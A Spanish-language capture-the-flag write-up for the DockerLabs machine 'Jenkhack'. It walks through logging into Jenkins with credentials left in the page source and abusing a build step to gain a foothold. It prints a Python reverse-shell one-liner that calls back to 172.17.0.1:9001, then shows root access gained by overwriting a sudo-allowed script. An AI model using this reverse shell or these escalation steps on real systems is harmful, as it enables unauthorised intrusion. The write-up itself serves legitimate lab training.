> For the complete documentation index, see [llms.txt](https://propus.gitbook.io/hackbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://propus.gitbook.io/hackbook/writeups/dockerlabs/jenkhack.md).

# 🟩 Jenkhack

🧠Dificultad: Fácil | 🔓29/06/2025

Con un `nmap` vemos los puertos abiertos de la máquina. Todos son relacionados con servicios web.

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FP8pGfusVjXG67mcthCfX%2FPasted%20image%2020250628001136.png?alt=media&amp;token=4d51773a-bd66-4eeb-8657-15d24ebf77e6" alt=""><figcaption></figcaption></figure>

Si accedemos a la web del puerto 80, no encontramos ninguna funcionalidad ni botones relevantes.

<div align="left"><figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FajWkEV0zIGzmyQKLMcZv%2FPasted%20image%2020250628001225.png?alt=media&amp;token=4982fb82-5222-4297-aeb1-92662785c8c2" alt=""><figcaption></figcaption></figure></div>

Procedemos a echarle un vistazo a la página https, donde nos encontramos un formulario de login.

<div align="left"><figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2F18SAP073DekZSO4R942p%2FPasted%20image%2020250628001419.png?alt=media&amp;token=d120312a-f2d0-4b27-bc85-d7d2cc6009d5" alt="" width="419"><figcaption></figcaption></figure></div>

En el puerto 8080 se encuentra el mismo formulario, solo que sin https. Encontramos unos campos ocultos en el código fuente de la primera web que examinamos:

<div align="left"><figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FpOeZOkOby1hdHJKIlnQ0%2FPasted%20image%2020250628002042.png?alt=media&amp;token=6b4a0f99-5dd6-46ea-a511-d2acfcff66a8" alt=""><figcaption></figcaption></figure></div>

Si utilizamos de credenciales `user = jenkins-admin` y `password = cassandra`, nos da acceso a un panel de administración:

<div align="left"><figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FUTqzUNMlZGpOoO18hlj9%2FPasted%20image%2020250628002205.png?alt=media&amp;token=ece72dfc-fa8c-46c2-8c39-42af55a385eb" alt=""><figcaption></figcaption></figure></div>

La página tiene un proyecto llamado `admin`. Este proyecto tiene una función para correr una build que nos permite ejecutar el código que queramos. Esto se conoce porque por defecto ejecuta un `whoami` que se puede configurar en otra sección del panel.

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2F4858BUwP8DY919yAenC4%2FPasted%20image%2020250628002817.png?alt=media&amp;token=55c97c60-bdc6-4a98-9061-b675dff09f15" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FG7BCMtMmDfySJjdV0bGy%2FPasted%20image%2020250628002516.png?alt=media&amp;token=1093468c-b226-4f30-8d35-7b3ad7b7b3e1" alt=""><figcaption></figcaption></figure>

Si cambiamos este `whoami` por una reverse shell, podemos tener acceso al user de la máquina. En este caso, las reverse shell típicas de `bash -i` no funcionaban, así que opté por una reverse shell en `python`:

```bash
export RHOST="172.17.0.1";export RPORT=9001;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
```

<div align="left"><figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FsLEwaVcxRPWCAq8ZUO5o%2FPasted%20image%2020250628003721.png?alt=media&amp;token=ee733fc1-b51f-45ff-8b16-05810c589b43" alt=""><figcaption></figcaption></figure></div>

Una vez dentro de la máquina, si nos acordamos al principio, teníamos información que podía ser relevante y no hemos usado. Esto es, el dominio `jenkhack.hl`. Buscando en `/var/www/` encontramos la carpeta de este dominio oculto:

<div align="left"><figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2F7TM66ruYdQh6cqfd5dsB%2FPasted%20image%2020250628010416.png?alt=media&amp;token=a84134d9-fb19-4547-b9cf-b0c5b5c833bd" alt=""><figcaption></figcaption></figure></div>

Si accedemos, encontramos un fichero con unas credenciales que al parecer están codificadas.

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FurANolSrAQ8AIfLWtCSw%2FPasted%20image%2020250628010503.png?alt=media&amp;token=e2df8941-0a52-4252-9a65-c102aab21dee" alt=""><figcaption></figcaption></figure>

Si pasamos la contraseña por la herramienta [CyberChef](https://gchq.github.io/CyberChef/):

<div align="left"><figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2Fpmuf4kjeizO5FnlsNpAv%2FPasted%20image%2020250628010701.png?alt=media&amp;token=19634351-aa2e-4fe2-b6c9-26661188d6fc" alt=""><figcaption></figcaption></figure></div>

Vemos que estaba codificada en `base85`. Utilizamos la contraseña y el usuario para loguearnos desde dentro de la máquina:

<div align="left"><figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FPNV41eRFZSpvD2gPuatx%2FPasted%20image%2020250628010837.png?alt=media&amp;token=8acebe88-6416-4722-8f1f-c22a7072a650" alt=""><figcaption></figcaption></figure></div>

Vamos a ejecutar `sudo -l` para ver qué permisos tenemos:

```bash
jenkhack@3c48dd6f4804:~$ sudo -l
Matching Defaults entries for jenkhack on 3c48dd6f4804:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jenkhack may run the following commands on 3c48dd6f4804:
    (ALL : ALL) NOPASSWD: /usr/local/bin/bash
```

El usuario `jenkhack` tiene permiso para ejecutar `/usr/local/bin/bash` como cualquier usuario, sin necesidad de contraseña (`NOPASSWD`). Analizando este binario, encontramos lo siguiente:

```bash
jenkhack@3c48dd6f4804:~$ /usr/local/bin/bash
Welcome to the bash application!
Running command...
This is the bash script running.
```

<figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FrvtIzZlvzqVyKEAciJeH%2FPasted%20image%2020250628011351.png?alt=media&amp;token=5cff575b-79be-4176-b766-320143849ada" alt=""><figcaption></figcaption></figure>

Este binario ejecuta un script de bash que podemos modificar para que ejecute lo que queramos. Como no nos deja modificarlo porque no podemos correr `nano` con `sudo`, podemos borrarlo y crear uno nuevo:

```bash
echo 'exec /bin/bash' > /opt/bash.sh
chmod +x /opt/bash.sh 
sudo /usr/local/bin/bash
```

<div align="left"><figure><img src="https://3832202623-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FhaHYQaFsZAHOyVtSUS1x%2Fuploads%2FhdLbWZNtaOfG5vvsggH4%2FPasted%20image%2020250628012355.png?alt=media&amp;token=3d578408-231f-4aa8-a931-27e89d52243f" alt=""><figcaption></figcaption></figure></div>
